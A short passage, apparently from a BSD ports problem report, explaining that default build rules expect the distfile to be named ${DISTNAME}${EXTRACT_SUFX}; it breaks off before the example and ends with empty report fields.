The default rules expect the distribution file list (${DISTFILES}) to be named ! ${DISTNAME}${EXTRACT_SUFX} by default which, if it's a normal tarball, is going to be something like: >Audit-Trail: >Unformatted: